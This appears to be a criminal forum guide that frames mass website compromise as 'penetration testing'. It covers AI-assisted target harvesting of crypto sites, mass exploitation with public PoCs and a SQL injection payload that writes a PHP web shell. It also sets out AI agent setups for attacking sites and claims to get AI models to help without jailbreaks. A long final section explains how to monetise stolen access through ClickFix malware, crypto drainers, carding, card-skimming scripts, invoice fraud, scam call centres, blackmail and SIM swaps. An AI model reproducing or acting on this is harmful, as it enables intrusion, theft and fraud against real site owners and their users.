TL;DR: AI significantly speeds up penetration testing and opens up unprecedented possibilities...

In this guide, I’ll explain how to conduct mass pentests of websites using exploits or by analyzing basic web vulnerabilities one by one, how to get started with exploit development, how the ARM architecture works, which topics are most relevant for gaining access, and how much money you can actually make from them.

We are currently in the era of “free vulnerabilities,” as AI can easily identify a huge number of existing vulnerabilities that have accumulated over time. It will take a long time to fix them all.

Preparing for a Penetration Test

It wouldn't hurt to pick up:

• A server
• An AI subscription
• Shodan / Censys / Zoomeye

Check out attack.mitre.org to learn the basics of hacking. With this framework in mind, it’s easy to understand what you’re doing right now, what your next step should be, or what other attack vectors are worth trying.

Large-Scale Exploitation of Web Applications.

To launch a large-scale attack on websites, we need to compile a list of targets. Below is a list of topics and resources you can use from the available materials. Depending on what you’re most familiar with, look for relevant topics.

Please ask the AI to find targets related to the topic we’re interested in:

Collect a list of domains related to the cryptocurrency industry. Find websites, platforms, services, blogs, exchanges, wallets, blockchain projects, DeFi platforms, NFT platforms, and other crypto-related resources. Return only domain names in a clean list format.

or

Write a script that automatically collects cryptocurrency-related domains from online sources. The script should search websites by crypto-related keywords, extract domain names, remove duplicates, validate the domains, and save the results into a structured file (CSV or TXT). Include clear setup instructions and explain how the script works.

In the end, in just a couple of minutes, I collected the domains that suited me using a simple Python script:

root@host:~#  head crypto_domains.txt 
99bitcoins.com
acrypto.io
appliedblockchain.com
badbitcoin.org
beincrypto.com
bestbitcoinexchange.io
bitcoin.kn
bitcoin.org
bitcoin.stackexchange.com
bitcoinatmmap.com

We have a list of targets; now we need to figure out what we’re dealing with. We’ll carry out the first stage - reconnaissance. The simplest and most useful thing to start looking for right away is the domain’s active IP address. This often helps bypass a WAF and exploit vulnerabilities on other ports, or simply make requests without limits on the number of requests.

The second thing we need to determine is the technologies used on the target, because later on we’ll be looking for vulnerabilities related to them.

Identifying a live IP address:

• Shodan
• Censys
• Zoomeye
• Fofa
• crt.sh

There are people on the forum who, for a reasonable price, will run the query you need.

Tools:

• Subfinder, dnsx - find an IP address via a domain name
• httpx - quick and easy way to identify technology

Found real IP addresses:

root@host:~# head real_ips_only.txt
badbitcoin.org,198.54.115.8
bitcoinatmmap.com,162.214.150.207
bitcoinatmmap.com,44.233.161.197
bitcoingarden.org,162.247.153.7
bitcoingarden.org,188.114.96.3
blockchaindevjobs.com,13.248.169.48
blockchaindevjobs.com,76.223.54.146
coindailyupdate.com,13.223.25.84
coindailyupdate.com,54.243.117.197
coindera.com,13.248.169.48

Now I'll see what httpx finds on these domains:

root@host:~# head real_ip_tech.txt
188.114.96.3,Cloudflare
188.166.94.148,
162.214.150.207,Apache HTTP Server
162.247.153.7,Nginx
13.248.169.48,
194.33.180.143,Apache HTTP Server,Bootstrap,Google Analytics,HSTS,Lightbox,Slick,jQuery:3.3.1
13.248.206.252,
162.144.177.199,Apache HTTP Server

We ask the AI to find and save locally PoCs for the identified technologies. We review them (since there may be fake exploits) and run a scan against all targets.

root@host:/exploits# ls
CVE-2024-6387  CVE-2025-55182  CVE-2026-60004  CVE-2026-63030  CVE-2026-64638  magento  README.md
root@host:/exploits# head magento/CVE-2026-75650/stylesmuggler.py 
#!/usr/bin/env python3
"""StyleSmuggler (CVE-2026-75650) safe Magento RCE chain detection.

Stage-1 Store header poison + stage-2 styles[] trigger via GraphQL bypass.
"""
from __future__ import annotations

import argparse
import hashlib

Let's take one of the vulnerable targets. We need to gain a foothold in it or exploit it.

Using SQLi, we create a web shell after first encoding the PHP code into hex format.

" UNION SELECT NULL,NULL,0x3c3f7068702069662869737....,
  NULL,NULL,NULL,NULL,NULL
INTO OUTFILE '/var/www/project/images/s.php'-- aa

From there, we can either persistence or do whatever we want with the host.

Searching for Vulnerabilities, One Target at a Time

Most penetration testers prefer to take a focused approach because a deep analysis of a single target offers a much greater chance of finding something serious than conducting massive, superficial scans.

I work without jailbreaks; if you follow all the steps described below and document everything correctly - without using the top-tier models from Cyber - you shouldn’t run into any issues. As you work, you’ll identify the model that works best for you; once you’ve gotten the hang of it, you can switch to a slightly more advanced model.

In this case, your penetration testing experience and a solid skill set are important. The best publicly available resource is https://cheatsheetseries.owasp.org/. We ask the AI to thoroughly process each page and turn them into properly structured skills.

A good skill structure:

pentest-ai/
│
├── core/
│   ├── reasoning_rules.md
│   ├── confidence_rules.md
│   └── methodology.md
│
├── knowledge/
│   │
│   ├── web_security/
│   │   │
│   │   ├── sqli/
│   │   │   ├── concept.md
│   │   │   ├── detection.md
│   │
│   ├── network_security/
│   │   ├── protocols/
│   │   ├── services/
│   │   └── vulnerabilities/
│   │
│   └── cloud_security/
│       ├── aws/
│       ├── azure/
│       └── containers/
│
├── skills/
│   │
│   ├── vulnerability_analysis/
│   │   ├── skill.yaml
│   │   ├── instructions.md
│   │   └── examples.yaml
│   │
│   ├── security_review/
│   │   ├── skill.yaml
│   │   ├── instructions.md
│   │   └── checklist.md
│   │
│   ├── report_generation/
│   │   ├── skill.yaml
│   │   └── template.md
│
├── workflows/
│   │
│   ├── web_application_review.yaml
│   ├── network_assessment.yaml
│   └── security_report.yaml
│
└── evaluations/
    │
    ├── test_cases/
    ├── expected_answers/
    └── quality_checks/

Knowledge alone isn't enough. You need to use MCP so that the neural network can natively utilize various penetration testing tools.

Good MCPs: pentagi, hexstrike-ai, MetasploitMCP, zaproxy

Once we've selected a target, we get to work:

Act as a web penetration testing agent focused on identifying initial access opportunities.

Analyze the target web application using all available reconnaissance data, loaded tools, and skills.

Open the website in a browser, use the Wappalyzer plugin to analyze which stack the user sees, and check how the Network tab works.

We can immediately ask the AI to map the site, identify the endpoints, go through each one, and examine the responses. Analyze what we see based on JS.

It’s important to always register an account on the site, if possible; this gives the user access to more endpoints and loads a new interface.

It’s best to look for vulnerabilities from the OWASP Top 10. You’re most likely to find those. https://top10.owasp.org/2025/

Pay attention to areas with potential vulnerabilities. Use tools to find out what technical flaws the site has.

Try not to spam the site with tons of requests, as nuclei does; this puts a strain on the site’s security and prevents you from getting genuine responses from the site.

From here on out, it’s all about practice - there are countless web vulnerabilities, and it all depends on your experience. Here are a couple of tips from me:

• If it seems like there’s some kind of vulnerability, try every possible way to complicate or encrypt the payload.
• If Cloudflare blocks your exploit, you can bypass it by sending 1.5 KB of junk data in the request.
• Don’t give up too quickly; some targets require several days, or even weeks, of attention.

Exploit Development (0-day)

This topic is just as interesting as penetration testing. It’s harder to succeed here, but the payoff is many times greater. I think it’s important to first explain the basics of reverse engineering on ARM, because it’s easier than x86.

Reverse Engineering Tools:

• Ghidra (Free)
• Binary Ninja (Semi-Free)
• Ida Pro (Paid)

How a Computer Works

The processor doesn’t know about Python, Java, or the “Log In” button. It only knows:

• numbers in binary;
• memory cells with addresses;
• registers;
• instructions like “add,” “copy,” and “jump.”

Until you’re comfortable with these four concepts, it’s too early to dissect an ARM binary. The good news is that the computer model has remained virtually unchanged since the 1940s. An ARM-based phone, a router, a single-board computer, and a Graviton-based server all operate according to the same rules.

At the level relevant to a reverser, a computer consists of three parts.

The processor calculates quickly, but remembers almost nothing on its own. Its “desktop” consists of registers: tiny cells inside the CPU. Main memory is larger, but access to it is slower. The disk is even larger and even slower: programs are first loaded from it into RAM.

Data travels between these components via buses: the address bus (where), the data bus (what), and the control bus (read or write). What’s important for us right now isn’t the hardware of the buses, but the concept: the processor is constantly reading from and writing to memory by address.

How Registers Work in ARM

On x86, there are few registers, and the compiler constantly shuffles values through the stack. On ARM, there are many registers, and almost the entire life of a function fits within them. If you understand which register is for what, the code listing reads like a conversation transcript:

• who passed the arguments;
• where the result is;
• where RET will return to;
• which values the function promised not to alter.

Without this, X0, W19, and XZR seem equally useless.

What Is a Register on ARM

A register is a named cell inside the CPU. It is not located in RAM and does not have an address like 0x4000. An instruction refers to it by number: “take X1, add X2, store in X0.”

An important property: a register has no type. The same X0 in consecutive instructions can be:

• an int;
• a pointer to a string;
• a Boolean flag (0/1);
• a return address that was just copied.

You have to keep the type in mind. The processor sees only bits.

AArch64 Register File

In A64, the programmer sees 31 general-purpose 64-bit registers X0…X30. There is no 32nd register, “X31.” The code 31 in an instruction’s encoding represents either the stack (SP) or zero (XZR / WZR) - depending on the instruction itself.

The following exist separately:

• SP - stack pointer; not a standard GPR;
• PC - program counter; in A64, it cannot be used as an X-register;
• NZCV - four condition flags;
• V0…V31 - SIMD and float registers, 128 bits each.

For most user binaries, the X registers, SP, LR, and flags are sufficient to start with.

X and W – one register, two windows

Each Xn can be read and written as a 32-bit Wn. W0 is the lower 32 bits of X0, not an adjacent register.

Rules you must not confuse:

1. The name specifies the operation width. ADD X0, X1, X2 adds 64 bits. ADD W0, W1, W2 adds 32 bits.
2. In a 32-bit operation, the most significant bits of the sources are ignored.
3. When writing to W, the most significant 32 bits of the destination are set to zero. This is zero-extend, not sign-extend.

X0 = 0xFFFF_FFFF_FFFF_FFFF
ADD W0, W0, WZR     ; lower 32 bits + 0, upper bits set to zero
X0 = 0x0000_0000_FFFF_FFFF

That’s why, in the code snippet, int is almost always stored in W, and the pointer is in X. If you expect a negative number in the high-order bits of X0 after a 32-bit operation, you’re in for a surprise: those bits will be zeros. For signed extension, there are separate instructions like SXTW.

How a Stack Works

A stack is a LIFO structure: last in, first out. The last function called is the first to be popped. On ARM, it is full-descending:

• it grows toward smaller addresses;
• SP points to the occupied top of the stack, not to the first free cell;
• allocating a frame = decrementing SP;
• freeing a frame = incrementing SP.

Common coding errors:

In practice, it’s almost always one of these five:

Example of reverse engineering a project from Git

Clone the latest version from Git:

Clone a WordPress installation that uses less popular plugins with known or suspected RCE vulnerabilities for security research and testing purposes.

We ask AI to run all of this as it would in production:

Deploy a cloned WordPress instance and configure the plugins, themes, settings, database, and environment variables to replicate a production-like environment for testing and analysis.

Let's load skills into the AI. Earlier, I asked the AI to gather skills for each article from this site: https://projectzero.google/archive.html

Review [link.md] and load the relevant reverse engineering skills, tools, and workflows required for the analysis.

Please ask the AI to find 0-day vulnerabilities that haven’t yet been disclosed publicly by examining the application’s source code.

Audit this WordPress plugin for security vulnerabilities. Review PHP code, hooks, AJAX handlers, REST API endpoints, file handling, database queries, authentication and authorization logic. Identify previously undocumented security issues and provide a responsible disclosure-style report with impact, affected code paths, and remediation guidance.

It didn't take long to see the results from the simple plugin:

1. Stored XSS (CONFIRMED, High)  -  the true, verified finding. AllowFrontManage=YES (default
 AllowFrontManage=YES setting when enabled) lets anonymous visitors store <script> in file 
 names/descriptions which render unescaped on every page for every admin. Verified live; tes 
 removed.
 
2. Latent OS command injection (defense-in-depth, not a confirmed RCE)  -  ee-class.php:1719,179 
 1805 feed unescaped file paths into shell_exec()/exec() for ffmpeg/GhostScript thumbnails.
 No escapeshellarg() anywhere (0 hits). I proved live that upload/rename sanitization strips 
 all shell metacharacters, so this is a hardening/latent finding unless thumbnail args ever
 bypass sanitization  -  flag it, don't overclaim it.

How to Monetize Access

No matter what you hack into, you’ll get some kind of data out of it. Whether it’s a server, a camera, a NAS... All of this can be monetized, but to avoid getting lost in it all, let’s break it down.

What We Get

Resources:

• Processing power (CPU, RAM, GPU)
• Network bandwidth.

The most common approach, used by those with a lot of low-value accesses, is Monero mining. It’s a noble cause to support the most anonymous cryptocurrency, which is also the best for CPU mining.

By infecting many IoT devices - which aren’t powerful enough to mine and often run on obscure architectures but still have decent internet speeds - such botnets have carried out the largest DDoS attacks in history.

Graphics cards, on the other hand, can be used in more interesting ways - from AI hosting to brute-forcing hashes or mining a suitable cryptocurrency.

Information - The most interesting part of the access. Everything of value is usually found here.

Payment History or Methods:

• Credit/Debit Card
• Merchandise
• Bank Transfer
• Cash
• Cryptocurrency

User Data:

• Full Name
• Address
• Phone Number
• Email
• Password (even if encrypted)
• Documents
• Traffic (Attention, Trust)
• Additional information (interests, income)

Internal company data:

• GDPR violations
• Tax fraud
• Actual revenue

Email:

• Spam emails
• Reading correspondence

Secrets:

• Crypto private keys
• Merchant private keys (Stripe)
• Databases
• Cloud (AWS)
• APIs (ChatGPT, Claude)
• Code environment (Git, CI, chats)

Methods for Monetizing Honestly Stolen Data:

ClickFix - a method of infecting victims who visit a compromised website with a virus.

What you can get:

• Bots
• Cryptocurrency
• ULP

A conversion rate of 1%–10% is considered normal. The scheme works by having a Windows user press a key combination to run a PowerShell command, which results in infection. If there’s a lot of traffic, it’s easy to make $200,000 per command.

** Crypto** - it’s hard to find a vulnerability, but often just one is enough to drain all the money as easily as from your own account.

1. Drainer - allows you to drain all the money from a wallet or network using a smart contract.
2. Private keys grant full access to wallets.
3. Manipulating smart contracts also makes it possible to withdraw funds.
4. Spoofing payment addresses if a compromised website accepts crypto payments

If you target high-value targets, you can earn over $1,000,000

Carding - an old but effective technique.

1. 2D carding - If you have the full card and cardholder details, you can use them to make a purchase without an SMS verification code. These are usually the most popular sites: booking.com, amazon.com, shein.com, uber.com, and doordash.com
2. OTP Panel – The victim enters their details on a compromised website, and at the same time, the carder enters the card to withdraw funds or make a purchase, receiving confirmation from the payment processor.
3. If you know a customer’s card BIN, you know which bank they use. You can call these leads, for example, by impersonating the bank’s customer support.
4. Sniffer - visually spoof the payment form so that card details are sent to you; after the card and details are entered, the page reloads, and the user will now see only the original form.

If you know where and how to exploit the system, you can make $50,000 on your own.

You can also simply work with bank transfers

1. Replace the merchandise on the compromised site with your own
2. Replace the bank address
3. Replace the billing address on corporate invoices
4. Have a drop handle the cash pickup from the client.

This gets noticed quickly, but if the payments are large on average, you can make over $10,000 at a time.

Call Center - the top option for monetizing user data.

1. Making calls asking people to invest in a pyramid scheme or a stock exchange.
2. Fake hotel booking refunds
3. Calls from “support” pretending to help the victim with a virus.

If you’ve developed a clear strategy for targeting high-value targets, you can generate a turnover of $1,000,000.

Blackmail cannot be described in detail, but typically involves demanding money in exchange for silence or to decrypt data.

Documents in photo or data format can also be monetized.

1. Verification for exchanges, neobanks, and advertising accounts
2. Ordering items on credit
3. SIM swap - we print a fake document on a drop with the original data (except for photos) and send it to have the victim’s SIM card reissued.

You can earn $5,000 or more per month by manipulating documents.

Secret Keys

1. Cashing out the money a website earns from merchandise
2. Selling ChatGPT, Claude, and other API keys...
3. Diving deep into the cloud, searching for backups, and gaining full control over the project.
4. Monitoring work-related chats
5. Extracting source code to search for new vulnerabilities

If you find high-quality websites that are exclusive to you, you can easily make $20,000

Email campaigns using the victim’s email account have good trust scores and allow you to send a couple of emails without being flagged as spam.

1. You can spread viruses via clickjacking or documents.
2. Sending emails stating that a booking has been canceled and including a button to the OTP panel.
3. Advertising investments in cryptocurrency or pyramid schemes
4. Targeted attacks on corporate networks

If you work with the right partners or follow a clear plan, you can earn as much as $5,000

Thank you for reading to the end. I tried to explain how the process works using simple examples, rather than providing a step-by-step guide.

In penetration testing, understanding the principles and perseverance are key. Vulnerabilities become obsolete very quickly: websites are constantly updated, old vulnerabilities are patched, and new ones emerge. That’s why it’s especially important here not just to know the tools, but to understand the process itself and the approaches to finding vulnerabilities.

Wishing everyone successful penetration tests and honest partners!